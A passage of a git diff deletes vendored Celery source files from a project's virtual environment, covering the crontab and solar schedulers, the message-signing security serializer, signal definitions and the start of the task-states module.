- month attributes. For example, if ``day_of_week`` is 0 and - ``day_of_month`` is every seventh day, only months that begin - on Sunday and are also in the ``month_of_year`` attribute will have - execution events. Or, ``day_of_week`` is 1 and ``day_of_month`` - is '1-7,15-21' means every first and third Monday of every month - present in ``month_of_year``. - """ - - def __init__(self, minute: Cronspec = '*', hour: Cronspec = '*', day_of_week: Cronspec = '*', - day_of_month: Cronspec = '*', month_of_year: Cronspec = '*', **kwargs: Any) -> None: - self._orig_minute = cronfield(minute) - self._orig_hour = cronfield(hour) - self._orig_day_of_week = cronfield(day_of_week) - self._orig_day_of_month = cronfield(day_of_month) - self._orig_month_of_year = cronfield(month_of_year) - self._orig_kwargs = kwargs - self.hour = self._expand_cronspec(hour, 24) - self.minute = self._expand_cronspec(minute, 60) - self.day_of_week = self._expand_cronspec(day_of_week, 7) - self.day_of_month = self._expand_cronspec(day_of_month, 31, 1) - self.month_of_year = self._expand_cronspec(month_of_year, 12, 1) - super().__init__(**kwargs) - - @classmethod - def from_string(cls, crontab: str) -> crontab: - """ - Create a Crontab from a cron expression string. For example ``crontab.from_string('* * * * *')``. - - .. code-block:: text - - ┌───────────── minute (0–59) - │ ┌───────────── hour (0–23) - │ │ ┌───────────── day of the month (1–31) - │ │ │ ┌───────────── month (1–12) - │ │ │ │ ┌───────────── day of the week (0–6) (Sunday to Saturday) - * * * * * - """ - minute, hour, day_of_month, month_of_year, day_of_week = crontab.split(" ") - return cls(minute, hour, day_of_week, day_of_month, month_of_year) - - @staticmethod - def _expand_cronspec( - cronspec: Cronspec, - max_: int, min_: int = 0) -> set[Any]: - """Expand cron specification. - - Takes the given cronspec argument in one of the forms: - - .. code-block:: text - - int (like 7) - str (like '3-5,*/15', '*', or 'monday') - set (like {0,15,30,45} - list (like [8-17]) - - And convert it to an (expanded) set representing all time unit - values on which the Crontab triggers. Only in case of the base - type being :class:`str`, parsing occurs. (It's fast and - happens only once for each Crontab instance, so there's no - significant performance overhead involved.) - - For the other base types, merely Python type conversions happen. - - The argument ``max_`` is needed to determine the expansion of - ``*`` and ranges. The argument ``min_`` is needed to determine - the expansion of ``*`` and ranges for 1-based cronspecs, such as - day of month or month of year. The default is sufficient for minute, - hour, and day of week. - """ - if isinstance(cronspec, int): - result = {cronspec} - elif isinstance(cronspec, str): - result = crontab_parser(max_, min_).parse(cronspec) - elif isinstance(cronspec, set): - result = cronspec - elif isinstance(cronspec, Iterable): - result = set(cronspec) # type: ignore - else: - raise TypeError(CRON_INVALID_TYPE.format(type=type(cronspec))) - - # assure the result does not precede the min or exceed the max - for number in result: - if number >= max_ + min_ or number < min_: - raise ValueError(CRON_PATTERN_INVALID.format( - min=min_, max=max_ - 1 + min_, value=number)) - return result - - def _delta_to_next(self, last_run_at: datetime, next_hour: int, - next_minute: int) -> ffwd: - """Find next delta. - - Takes a :class:`~datetime.datetime` of last run, next minute and hour, - and returns a :class:`~celery.utils.time.ffwd` for the next - scheduled day and time. - - Only called when ``day_of_month`` and/or ``month_of_year`` - cronspec is specified to further limit scheduled task execution. - """ - datedata = AttributeDict(year=last_run_at.year) - days_of_month = sorted(self.day_of_month) - months_of_year = sorted(self.month_of_year) - - def day_out_of_range(year: int, month: int, day: int) -> bool: - try: - datetime(year=year, month=month, day=day) - except ValueError: - return True - return False - - def is_before_last_run(year: int, month: int, day: int) -> bool: - return self.maybe_make_aware( - datetime(year, month, day, next_hour, next_minute), - naive_as_utc=False) < last_run_at - - def roll_over() -> None: - for _ in range(2000): - flag = (datedata.dom == len(days_of_month) or - day_out_of_range(datedata.year, - months_of_year[datedata.moy], - days_of_month[datedata.dom]) or - (is_before_last_run(datedata.year, - months_of_year[datedata.moy], - days_of_month[datedata.dom]))) - - if flag: - datedata.dom = 0 - datedata.moy += 1 - if datedata.moy == len(months_of_year): - datedata.moy = 0 - datedata.year += 1 - else: - break - else: - # Tried 2000 times, we're most likely in an infinite loop - raise RuntimeError('unable to rollover, ' - 'time specification is probably invalid') - - if last_run_at.month in self.month_of_year: - datedata.dom = bisect(days_of_month, last_run_at.day) - datedata.moy = bisect_left(months_of_year, last_run_at.month) - else: - datedata.dom = 0 - datedata.moy = bisect(months_of_year, last_run_at.month) - if datedata.moy == len(months_of_year): - datedata.moy = 0 - roll_over() - - while 1: - th = datetime(year=datedata.year, - month=months_of_year[datedata.moy], - day=days_of_month[datedata.dom]) - if th.isoweekday() % 7 in self.day_of_week: - break - datedata.dom += 1 - roll_over() - - return ffwd(year=datedata.year, - month=months_of_year[datedata.moy], - day=days_of_month[datedata.dom], - hour=next_hour, - minute=next_minute, - second=0, - microsecond=0) - - def __repr__(self) -> str: - return CRON_REPR.format(self) - - def __reduce__(self) -> tuple[type, tuple[Cronspec, Cronspec, Cronspec, Cronspec, Cronspec], Any]: - return (self.__class__, (self._orig_minute, - self._orig_hour, - self._orig_day_of_week, - self._orig_day_of_month, - self._orig_month_of_year), self._orig_kwargs) - - def __setstate__(self, state: Mapping[str, Any]) -> None: - # Calling super's init because the kwargs aren't necessarily passed in - # the same form as they are stored by the superclass - super().__init__(**state) - - def remaining_delta(self, last_run_at: datetime, tz: tzinfo | None = None, - ffwd: type = ffwd) -> tuple[datetime, Any, datetime]: - # caching global ffwd - last_run_at = self.maybe_make_aware(last_run_at) - now = self.maybe_make_aware(self.now()) - dow_num = last_run_at.isoweekday() % 7 # Sunday is day 0, not day 7 - - execute_this_date = ( - last_run_at.month in self.month_of_year and - last_run_at.day in self.day_of_month and - dow_num in self.day_of_week - ) - - execute_this_hour = ( - execute_this_date and - last_run_at.day == now.day and - last_run_at.month == now.month and - last_run_at.year == now.year and - last_run_at.hour in self.hour and - last_run_at.minute < max(self.minute) - ) - - if execute_this_hour: - next_minute = min(minute for minute in self.minute - if minute > last_run_at.minute) - delta = ffwd(minute=next_minute, second=0, microsecond=0) - else: - next_minute = min(self.minute) - execute_today = (execute_this_date and - last_run_at.hour < max(self.hour)) - - if execute_today: - next_hour = min(hour for hour in self.hour - if hour > last_run_at.hour) - delta = ffwd(hour=next_hour, minute=next_minute, - second=0, microsecond=0) - else: - next_hour = min(self.hour) - all_dom_moy = (self._orig_day_of_month == '*' and - self._orig_month_of_year == '*') - if all_dom_moy: - next_day = min([day for day in self.day_of_week - if day > dow_num] or self.day_of_week) - add_week = next_day == dow_num - - delta = ffwd( - weeks=add_week and 1 or 0, - weekday=(next_day - 1) % 7, - hour=next_hour, - minute=next_minute, - second=0, - microsecond=0, - ) - else: - delta = self._delta_to_next(last_run_at, - next_hour, next_minute) - return self.to_local(last_run_at), delta, self.to_local(now) - - def remaining_estimate( - self, last_run_at: datetime, ffwd: type = ffwd) -> timedelta: - """Estimate of next run time. - - Returns when the periodic task should run next as a - :class:`~datetime.timedelta`. - """ - # pylint: disable=redefined-outer-name - # caching global ffwd - return remaining(*self.remaining_delta(last_run_at, ffwd=ffwd)) - - def is_due(self, last_run_at: datetime) -> tuple[bool, datetime]: - """Return tuple of ``(is_due, next_time_to_run)``. - - If :setting:`beat_cron_starting_deadline` has been specified, the - scheduler will make sure that the `last_run_at` time is within the - deadline. This prevents tasks that could have been run according to - the crontab, but didn't, from running again unexpectedly. - - Note: - Next time to run is in seconds. - - SeeAlso: - :meth:`celery.schedules.schedule.is_due` for more information. - """ - - rem_delta = self.remaining_estimate(last_run_at) - rem_secs = rem_delta.total_seconds() - rem = max(rem_secs, 0) - due = rem == 0 - - deadline_secs = self.app.conf.beat_cron_starting_deadline - has_passed_deadline = False - if deadline_secs is not None: - # Make sure we're looking at the latest possible feasible run - # date when checking the deadline. - last_date_checked = last_run_at - last_feasible_rem_secs = rem_secs - while rem_secs < 0: - last_date_checked = last_date_checked + abs(rem_delta) - rem_delta = self.remaining_estimate(last_date_checked) - rem_secs = rem_delta.total_seconds() - if rem_secs < 0: - last_feasible_rem_secs = rem_secs - - # if rem_secs becomes 0 or positive, second-to-last - # last_date_checked must be the last feasible run date. - # Check if the last feasible date is within the deadline - # for running - has_passed_deadline = -last_feasible_rem_secs > deadline_secs - if has_passed_deadline: - # Should not be due if we've passed the deadline for looking - # at past runs - due = False - - if due or has_passed_deadline: - rem_delta = self.remaining_estimate(self.now()) - rem = max(rem_delta.total_seconds(), 0) - return schedstate(due, rem) - - def __eq__(self, other: Any) -> bool: - if isinstance(other, crontab): - return ( - other.month_of_year == self.month_of_year and - other.day_of_month == self.day_of_month and - other.day_of_week == self.day_of_week and - other.hour == self.hour and - other.minute == self.minute and - super().__eq__(other) - ) - return NotImplemented - - -def maybe_schedule( - s: int | float | timedelta | BaseSchedule, relative: bool = False, - app: Celery | None = None) -> float | timedelta | BaseSchedule: - """Return schedule from number, timedelta, or actual schedule.""" - if s is not None: - if isinstance(s, (float, int)): - s = timedelta(seconds=s) - if isinstance(s, timedelta): - return schedule(s, relative, app=app) - else: - s.app = app - return s - - -class solar(BaseSchedule): - """Solar event. - - A solar event can be used as the ``run_every`` value of a - periodic task entry to schedule based on certain solar events. - - Notes: - - Available event values are: - - - ``dawn_astronomical`` - - ``dawn_nautical`` - - ``dawn_civil`` - - ``sunrise`` - - ``solar_noon`` - - ``sunset`` - - ``dusk_civil`` - - ``dusk_nautical`` - - ``dusk_astronomical`` - - Arguments: - event (str): Solar event that triggers this task. - See note for available values. - lat (float): The latitude of the observer. - lon (float): The longitude of the observer. - nowfun (Callable): Function returning the current date and time - as a class:`~datetime.datetime`. - app (Celery): Celery app instance. - """ - - _all_events = { - 'dawn_astronomical', - 'dawn_nautical', - 'dawn_civil', - 'sunrise', - 'solar_noon', - 'sunset', - 'dusk_civil', - 'dusk_nautical', - 'dusk_astronomical', - } - _horizons = { - 'dawn_astronomical': '-18', - 'dawn_nautical': '-12', - 'dawn_civil': '-6', - 'sunrise': '-0:34', - 'solar_noon': '0', - 'sunset': '-0:34', - 'dusk_civil': '-6', - 'dusk_nautical': '-12', - 'dusk_astronomical': '18', - } - _methods = { - 'dawn_astronomical': 'next_rising', - 'dawn_nautical': 'next_rising', - 'dawn_civil': 'next_rising', - 'sunrise': 'next_rising', - 'solar_noon': 'next_transit', - 'sunset': 'next_setting', - 'dusk_civil': 'next_setting', - 'dusk_nautical': 'next_setting', - 'dusk_astronomical': 'next_setting', - } - _use_center_l = { - 'dawn_astronomical': True, - 'dawn_nautical': True, - 'dawn_civil': True, - 'sunrise': False, - 'solar_noon': False, - 'sunset': False, - 'dusk_civil': True, - 'dusk_nautical': True, - 'dusk_astronomical': True, - } - - def __init__(self, event: str, lat: int | float, lon: int | float, ** - kwargs: Any) -> None: - self.ephem = __import__('ephem') - self.event = event - self.lat = lat - self.lon = lon - super().__init__(**kwargs) - - if event not in self._all_events: - raise ValueError(SOLAR_INVALID_EVENT.format( - event=event, all_events=', '.join(sorted(self._all_events)), - )) - if lat < -90 or lat > 90: - raise ValueError(SOLAR_INVALID_LATITUDE.format(lat=lat)) - if lon < -180 or lon > 180: - raise ValueError(SOLAR_INVALID_LONGITUDE.format(lon=lon)) - - cal = self.ephem.Observer() - cal.lat = str(lat) - cal.lon = str(lon) - cal.elev = 0 - cal.horizon = self._horizons[event] - cal.pressure = 0 - self.cal = cal - - self.method = self._methods[event] - self.use_center = self._use_center_l[event] - - def __reduce__(self) -> tuple[type, tuple[str, int | float, int | float]]: - return self.__class__, (self.event, self.lat, self.lon) - - def __repr__(self) -> str: - return ''.format( - self.event, self.lat, self.lon, - ) - - def remaining_estimate(self, last_run_at: datetime) -> timedelta: - """Return estimate of next time to run. - - Returns: - ~datetime.timedelta: when the periodic task should - run next, or if it shouldn't run today (e.g., the sun does - not rise today), returns the time when the next check - should take place. - """ - last_run_at = self.maybe_make_aware(last_run_at) - last_run_at_utc = localize(last_run_at, timezone.utc) - self.cal.date = last_run_at_utc - try: - if self.use_center: - next_utc = getattr(self.cal, self.method)( - self.ephem.Sun(), - start=last_run_at_utc, use_center=self.use_center - ) - else: - next_utc = getattr(self.cal, self.method)( - self.ephem.Sun(), start=last_run_at_utc - ) - - except self.ephem.CircumpolarError: # pragma: no cover - # Sun won't rise/set today. Check again tomorrow - # (specifically, after the next anti-transit). - next_utc = ( - self.cal.next_antitransit(self.ephem.Sun()) + - timedelta(minutes=1) - ) - next = self.maybe_make_aware(next_utc.datetime()) - now = self.maybe_make_aware(self.now()) - delta = next - now - return delta - - def is_due(self, last_run_at: datetime) -> tuple[bool, datetime]: - """Return tuple of ``(is_due, next_time_to_run)``. - - Note: - next time to run is in seconds. - - See Also: - :meth:`celery.schedules.schedule.is_due` for more information. - """ - rem_delta = self.remaining_estimate(last_run_at) - rem = max(rem_delta.total_seconds(), 0) - due = rem == 0 - if due: - rem_delta = self.remaining_estimate(self.now()) - rem = max(rem_delta.total_seconds(), 0) - return schedstate(due, rem) - - def __eq__(self, other: Any) -> bool: - if isinstance(other, solar): - return ( - other.event == self.event and - other.lat == self.lat and - other.lon == self.lon - ) - return NotImplemented diff --git a/backend/venv/Lib/site-packages/celery/security/__init__.py b/backend/venv/Lib/site-packages/celery/security/__init__.py deleted file mode 100644 index c801d98b..00000000 --- a/backend/venv/Lib/site-packages/celery/security/__init__.py +++ /dev/null @@ -1,74 +0,0 @@ -"""Message Signing Serializer.""" -from kombu.serialization import disable_insecure_serializers as _disable_insecure_serializers -from kombu.serialization import registry - -from celery.exceptions import ImproperlyConfigured - -from .serialization import register_auth # : need cryptography first - -CRYPTOGRAPHY_NOT_INSTALLED = """\ -You need to install the cryptography library to use the auth serializer. -Please install by: - - $ pip install cryptography -""" - -SECURITY_SETTING_MISSING = """\ -Sorry, but you have to configure the - * security_key - * security_certificate, and the - * security_cert_store -configuration settings to use the auth serializer. - -Please see the configuration reference for more information. -""" - -SETTING_MISSING = """\ -You have to configure a special task serializer -for signing and verifying tasks: - * task_serializer = 'auth' - -You have to accept only tasks which are serialized with 'auth'. -There is no point in signing messages if they are not verified. - * accept_content = ['auth'] -""" - -__all__ = ('setup_security',) - -try: - import cryptography # noqa -except ImportError: - raise ImproperlyConfigured(CRYPTOGRAPHY_NOT_INSTALLED) - - -def setup_security(allowed_serializers=None, key=None, key_password=None, cert=None, store=None, - digest=None, serializer='json', app=None): - """See :meth:`@Celery.setup_security`.""" - if app is None: - from celery import current_app - app = current_app._get_current_object() - - _disable_insecure_serializers(allowed_serializers) - - # check conf for sane security settings - conf = app.conf - if conf.task_serializer != 'auth' or conf.accept_content != ['auth']: - raise ImproperlyConfigured(SETTING_MISSING) - - key = key or conf.security_key - key_password = key_password or conf.security_key_password - cert = cert or conf.security_certificate - store = store or conf.security_cert_store - digest = digest or conf.security_digest - - if not (key and cert and store): - raise ImproperlyConfigured(SECURITY_SETTING_MISSING) - - with open(key) as kf: - with open(cert) as cf: - register_auth(kf.read(), key_password, cf.read(), store, digest, serializer) - registry._set_default_serializer('auth') - - -def disable_untrusted_serializers(whitelist=None): - _disable_insecure_serializers(allowed=whitelist) diff --git a/backend/venv/Lib/site-packages/celery/security/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/security/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 52eb0a7f..00000000 Binary files a/backend/venv/Lib/site-packages/celery/security/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/security/__pycache__/certificate.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/security/__pycache__/certificate.cpython-311.pyc deleted file mode 100644 index e2cd25ab..00000000 Binary files a/backend/venv/Lib/site-packages/celery/security/__pycache__/certificate.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/security/__pycache__/key.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/security/__pycache__/key.cpython-311.pyc deleted file mode 100644 index f6ef3968..00000000 Binary files a/backend/venv/Lib/site-packages/celery/security/__pycache__/key.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/security/__pycache__/serialization.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/security/__pycache__/serialization.cpython-311.pyc deleted file mode 100644 index 64835ac7..00000000 Binary files a/backend/venv/Lib/site-packages/celery/security/__pycache__/serialization.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/security/__pycache__/utils.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/security/__pycache__/utils.cpython-311.pyc deleted file mode 100644 index e3cf2a14..00000000 Binary files a/backend/venv/Lib/site-packages/celery/security/__pycache__/utils.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/security/certificate.py b/backend/venv/Lib/site-packages/celery/security/certificate.py deleted file mode 100644 index edaa764b..00000000 --- a/backend/venv/Lib/site-packages/celery/security/certificate.py +++ /dev/null @@ -1,113 +0,0 @@ -"""X.509 certificates.""" -from __future__ import annotations - -import datetime -import glob -import os -from typing import TYPE_CHECKING, Iterator - -from cryptography.hazmat.backends import default_backend -from cryptography.hazmat.primitives.asymmetric import padding, rsa -from cryptography.x509 import load_pem_x509_certificate -from kombu.utils.encoding import bytes_to_str, ensure_bytes - -from celery.exceptions import SecurityError - -from .utils import reraise_errors - -if TYPE_CHECKING: - from cryptography.hazmat.primitives.asymmetric.dsa import DSAPublicKey - from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePublicKey - from cryptography.hazmat.primitives.asymmetric.ed448 import Ed448PublicKey - from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PublicKey - from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey - from cryptography.hazmat.primitives.asymmetric.utils import Prehashed - from cryptography.hazmat.primitives.hashes import HashAlgorithm - - -__all__ = ('Certificate', 'CertStore', 'FSCertStore') - - -class Certificate: - """X.509 certificate.""" - - def __init__(self, cert: str) -> None: - with reraise_errors( - 'Invalid certificate: {0!r}', errors=(ValueError,) - ): - self._cert = load_pem_x509_certificate( - ensure_bytes(cert), backend=default_backend()) - - if not isinstance(self._cert.public_key(), rsa.RSAPublicKey): - raise ValueError("Non-RSA certificates are not supported.") - - def has_expired(self) -> bool: - """Check if the certificate has expired.""" - return datetime.datetime.now(datetime.timezone.utc) >= self._cert.not_valid_after_utc - - def get_pubkey(self) -> ( - DSAPublicKey | EllipticCurvePublicKey | Ed448PublicKey | Ed25519PublicKey | RSAPublicKey - ): - return self._cert.public_key() - - def get_serial_number(self) -> int: - """Return the serial number in the certificate.""" - return self._cert.serial_number - - def get_issuer(self) -> str: - """Return issuer (CA) as a string.""" - return ' '.join(x.value for x in self._cert.issuer) - - def get_id(self) -> str: - """Serial number/issuer pair uniquely identifies a certificate.""" - return f'{self.get_issuer()} {self.get_serial_number()}' - - def verify(self, data: bytes, signature: bytes, digest: HashAlgorithm | Prehashed) -> None: - """Verify signature for string containing data.""" - with reraise_errors('Bad signature: {0!r}'): - - pad = padding.PSS( - mgf=padding.MGF1(digest), - salt_length=padding.PSS.MAX_LENGTH) - - self.get_pubkey().verify(signature, ensure_bytes(data), pad, digest) - - -class CertStore: - """Base class for certificate stores.""" - - def __init__(self) -> None: - self._certs: dict[str, Certificate] = {} - - def itercerts(self) -> Iterator[Certificate]: - """Return certificate iterator.""" - yield from self._certs.values() - - def __getitem__(self, id: str) -> Certificate: - """Get certificate by id.""" - try: - return self._certs[bytes_to_str(id)] - except KeyError: - raise SecurityError(f'Unknown certificate: {id!r}') - - def add_cert(self, cert: Certificate) -> None: - cert_id = bytes_to_str(cert.get_id()) - if cert_id in self._certs: - raise SecurityError(f'Duplicate certificate: {id!r}') - self._certs[cert_id] = cert - - -class FSCertStore(CertStore): - """File system certificate store.""" - - def __init__(self, path: str) -> None: - super().__init__() - if os.path.isdir(path): - path = os.path.join(path, '*') - for p in glob.glob(path): - with open(p) as f: - cert = Certificate(f.read()) - if cert.has_expired(): - raise SecurityError( - f'Expired certificate: {cert.get_id()!r}') - self.add_cert(cert) diff --git a/backend/venv/Lib/site-packages/celery/security/key.py b/backend/venv/Lib/site-packages/celery/security/key.py deleted file mode 100644 index ae932b2b..00000000 --- a/backend/venv/Lib/site-packages/celery/security/key.py +++ /dev/null @@ -1,35 +0,0 @@ -"""Private keys for the security serializer.""" -from cryptography.hazmat.backends import default_backend -from cryptography.hazmat.primitives import serialization -from cryptography.hazmat.primitives.asymmetric import padding, rsa -from kombu.utils.encoding import ensure_bytes - -from .utils import reraise_errors - -__all__ = ('PrivateKey',) - - -class PrivateKey: - """Represents a private key.""" - - def __init__(self, key, password=None): - with reraise_errors( - 'Invalid private key: {0!r}', errors=(ValueError,) - ): - self._key = serialization.load_pem_private_key( - ensure_bytes(key), - password=ensure_bytes(password), - backend=default_backend()) - - if not isinstance(self._key, rsa.RSAPrivateKey): - raise ValueError("Non-RSA keys are not supported.") - - def sign(self, data, digest): - """Sign string containing data.""" - with reraise_errors('Unable to sign data: {0!r}'): - - pad = padding.PSS( - mgf=padding.MGF1(digest), - salt_length=padding.PSS.MAX_LENGTH) - - return self._key.sign(ensure_bytes(data), pad, digest) diff --git a/backend/venv/Lib/site-packages/celery/security/serialization.py b/backend/venv/Lib/site-packages/celery/security/serialization.py deleted file mode 100644 index 7b7dc126..00000000 --- a/backend/venv/Lib/site-packages/celery/security/serialization.py +++ /dev/null @@ -1,90 +0,0 @@ -"""Secure serializer.""" -from kombu.serialization import dumps, loads, registry -from kombu.utils.encoding import bytes_to_str, ensure_bytes, str_to_bytes - -from celery.app.defaults import DEFAULT_SECURITY_DIGEST -from celery.utils.serialization import b64decode, b64encode - -from .certificate import Certificate, FSCertStore -from .key import PrivateKey -from .utils import get_digest_algorithm, reraise_errors - -__all__ = ('SecureSerializer', 'register_auth') - -# Note: we guarantee that this value won't appear in the serialized data, -# so we can use it as a separator. -# If you change this value, make sure it's not present in the serialized data. -DEFAULT_SEPARATOR = str_to_bytes("\x00\x01") - - -class SecureSerializer: - """Signed serializer.""" - - def __init__(self, key=None, cert=None, cert_store=None, - digest=DEFAULT_SECURITY_DIGEST, serializer='json'): - self._key = key - self._cert = cert - self._cert_store = cert_store - self._digest = get_digest_algorithm(digest) - self._serializer = serializer - - def serialize(self, data): - """Serialize data structure into string.""" - assert self._key is not None - assert self._cert is not None - with reraise_errors('Unable to serialize: {0!r}', (Exception,)): - content_type, content_encoding, body = dumps( - data, serializer=self._serializer) - - # What we sign is the serialized body, not the body itself. - # this way the receiver doesn't have to decode the contents - # to verify the signature (and thus avoiding potential flaws - # in the decoding step). - body = ensure_bytes(body) - return self._pack(body, content_type, content_encoding, - signature=self._key.sign(body, self._digest), - signer=self._cert.get_id()) - - def deserialize(self, data): - """Deserialize data structure from string.""" - assert self._cert_store is not None - with reraise_errors('Unable to deserialize: {0!r}', (Exception,)): - payload = self._unpack(data) - signature, signer, body = (payload['signature'], - payload['signer'], - payload['body']) - self._cert_store[signer].verify(body, signature, self._digest) - return loads(body, payload['content_type'], - payload['content_encoding'], force=True) - - def _pack(self, body, content_type, content_encoding, signer, signature, - sep=DEFAULT_SEPARATOR): - fields = sep.join( - ensure_bytes(s) for s in [b64encode(signer), b64encode(signature), - content_type, content_encoding, body] - ) - return b64encode(fields) - - def _unpack(self, payload, sep=DEFAULT_SEPARATOR): - raw_payload = b64decode(ensure_bytes(payload)) - v = raw_payload.split(sep, maxsplit=4) - return { - 'signer': b64decode(v[0]), - 'signature': b64decode(v[1]), - 'content_type': bytes_to_str(v[2]), - 'content_encoding': bytes_to_str(v[3]), - 'body': v[4], - } - - -def register_auth(key=None, key_password=None, cert=None, store=None, - digest=DEFAULT_SECURITY_DIGEST, - serializer='json'): - """Register security serializer.""" - s = SecureSerializer(key and PrivateKey(key, password=key_password), - cert and Certificate(cert), - store and FSCertStore(store), - digest, serializer=serializer) - registry.register('auth', s.serialize, s.deserialize, - content_type='application/data', - content_encoding='utf-8') diff --git a/backend/venv/Lib/site-packages/celery/security/utils.py b/backend/venv/Lib/site-packages/celery/security/utils.py deleted file mode 100644 index 4714a945..00000000 --- a/backend/venv/Lib/site-packages/celery/security/utils.py +++ /dev/null @@ -1,28 +0,0 @@ -"""Utilities used by the message signing serializer.""" -import sys -from contextlib import contextmanager - -import cryptography.exceptions -from cryptography.hazmat.primitives import hashes - -from celery.exceptions import SecurityError, reraise - -__all__ = ('get_digest_algorithm', 'reraise_errors',) - - -def get_digest_algorithm(digest='sha256'): - """Convert string to hash object of cryptography library.""" - assert digest is not None - return getattr(hashes, digest.upper())() - - -@contextmanager -def reraise_errors(msg='{0!r}', errors=None): - """Context reraising crypto errors as :exc:`SecurityError`.""" - errors = (cryptography.exceptions,) if errors is None else errors - try: - yield - except errors as exc: - reraise(SecurityError, - SecurityError(msg.format(exc)), - sys.exc_info()[2]) diff --git a/backend/venv/Lib/site-packages/celery/signals.py b/backend/venv/Lib/site-packages/celery/signals.py deleted file mode 100644 index 290fa2ba..00000000 --- a/backend/venv/Lib/site-packages/celery/signals.py +++ /dev/null @@ -1,154 +0,0 @@ -"""Celery Signals. - -This module defines the signals (Observer pattern) sent by -both workers and clients. - -Functions can be connected to these signals, and connected -functions are called whenever a signal is called. - -.. seealso:: - - :ref:`signals` for more information. -""" - -from .utils.dispatch import Signal - -__all__ = ( - 'before_task_publish', 'after_task_publish', 'task_internal_error', - 'task_prerun', 'task_postrun', 'task_success', - 'task_received', 'task_rejected', 'task_unknown', - 'task_retry', 'task_failure', 'task_revoked', 'celeryd_init', - 'celeryd_after_setup', 'worker_init', 'worker_before_create_process', - 'worker_process_init', 'worker_process_shutdown', 'worker_ready', - 'worker_shutdown', 'worker_shutting_down', 'setup_logging', - 'after_setup_logger', 'after_setup_task_logger', 'beat_init', - 'beat_embedded_init', 'heartbeat_sent', 'eventlet_pool_started', - 'eventlet_pool_preshutdown', 'eventlet_pool_postshutdown', - 'eventlet_pool_apply', -) - -# - Task -before_task_publish = Signal( - name='before_task_publish', - providing_args={ - 'body', 'exchange', 'routing_key', 'headers', - 'properties', 'declare', 'retry_policy', - }, -) -after_task_publish = Signal( - name='after_task_publish', - providing_args={'body', 'exchange', 'routing_key'}, -) -task_received = Signal( - name='task_received', - providing_args={'request'} -) -task_prerun = Signal( - name='task_prerun', - providing_args={'task_id', 'task', 'args', 'kwargs'}, -) -task_postrun = Signal( - name='task_postrun', - providing_args={'task_id', 'task', 'args', 'kwargs', 'retval'}, -) -task_success = Signal( - name='task_success', - providing_args={'result'}, -) -task_retry = Signal( - name='task_retry', - providing_args={'request', 'reason', 'einfo'}, -) -task_failure = Signal( - name='task_failure', - providing_args={ - 'task_id', 'exception', 'args', 'kwargs', 'traceback', 'einfo', - }, -) -task_internal_error = Signal( - name='task_internal_error', - providing_args={ - 'task_id', 'args', 'kwargs', 'request', 'exception', 'traceback', 'einfo' - } -) -task_revoked = Signal( - name='task_revoked', - providing_args={ - 'request', 'terminated', 'signum', 'expired', - }, -) -task_rejected = Signal( - name='task_rejected', - providing_args={'message', 'exc'}, -) -task_unknown = Signal( - name='task_unknown', - providing_args={'message', 'exc', 'name', 'id'}, -) -#: Deprecated, use after_task_publish instead. -task_sent = Signal( - name='task_sent', - providing_args={ - 'task_id', 'task', 'args', 'kwargs', 'eta', 'taskset', - }, -) - -# - Program: `celery worker` -celeryd_init = Signal( - name='celeryd_init', - providing_args={'instance', 'conf', 'options'}, -) -celeryd_after_setup = Signal( - name='celeryd_after_setup', - providing_args={'instance', 'conf'}, -) - -# - Worker -import_modules = Signal(name='import_modules') -worker_init = Signal(name='worker_init') -worker_before_create_process = Signal(name="worker_before_create_process") -worker_process_init = Signal(name='worker_process_init') -worker_process_shutdown = Signal(name='worker_process_shutdown') -worker_ready = Signal(name='worker_ready') -worker_shutdown = Signal(name='worker_shutdown') -worker_shutting_down = Signal(name='worker_shutting_down') -heartbeat_sent = Signal(name='heartbeat_sent') - -# - Logging -setup_logging = Signal( - name='setup_logging', - providing_args={ - 'loglevel', 'logfile', 'format', 'colorize', - }, -) -after_setup_logger = Signal( - name='after_setup_logger', - providing_args={ - 'logger', 'loglevel', 'logfile', 'format', 'colorize', - }, -) -after_setup_task_logger = Signal( - name='after_setup_task_logger', - providing_args={ - 'logger', 'loglevel', 'logfile', 'format', 'colorize', - }, -) - -# - Beat -beat_init = Signal(name='beat_init') -beat_embedded_init = Signal(name='beat_embedded_init') - -# - Eventlet -eventlet_pool_started = Signal(name='eventlet_pool_started') -eventlet_pool_preshutdown = Signal(name='eventlet_pool_preshutdown') -eventlet_pool_postshutdown = Signal(name='eventlet_pool_postshutdown') -eventlet_pool_apply = Signal( - name='eventlet_pool_apply', - providing_args={'target', 'args', 'kwargs'}, -) - -# - Programs -user_preload_options = Signal( - name='user_preload_options', - providing_args={'app', 'options'}, -) diff --git a/backend/venv/Lib/site-packages/celery/states.py b/backend/venv/Lib/site-packages/celery/states.py deleted file mode 100644 index 6e21a22b..00000000 --- a/backend/venv/Lib/site-packages/celery/states.py +++ /dev/null @@ -1,151 +0,0 @@ -"""Built-in task states. - -.. _states: - -States ------- - -See :ref:`task-states`. - -.. _statesets: - -Sets ----- - -.. state:: READY_STATES - -READY_STATES -~~~~~~~~~~~~ - -Set of states meaning the task result is ready (has been executed). - -.. state:: UNREADY_STATES - -UNREADY_STATES -~~~~~~~~~~~~~~ - -Set of states meaning the task result is not ready (hasn't been executed). - -.. state:: EXCEPTION_STATES - -EXCEPTION_STATES -~~~~~~~~~~~~~~~~ - -Set of states meaning the task returned an exception. - -.. state:: PROPAGATE_STATES - -PROPAGATE_STATES -~~~~~~~~~~~~~~~~ - -Set of exception states that should propagate exceptions to the user. - -.. state:: ALL_STATES - -ALL_STATES -~~~~~~~~~~ - -Set of all possible states. - -Misc ----- - -""" - -__all__ = ( - 'PENDING', 'RECEIVED', 'STARTED', 'SUCCESS', 'FAILURE', - 'REVOKED', 'RETRY', 'IGNORED', 'READY_STATES', 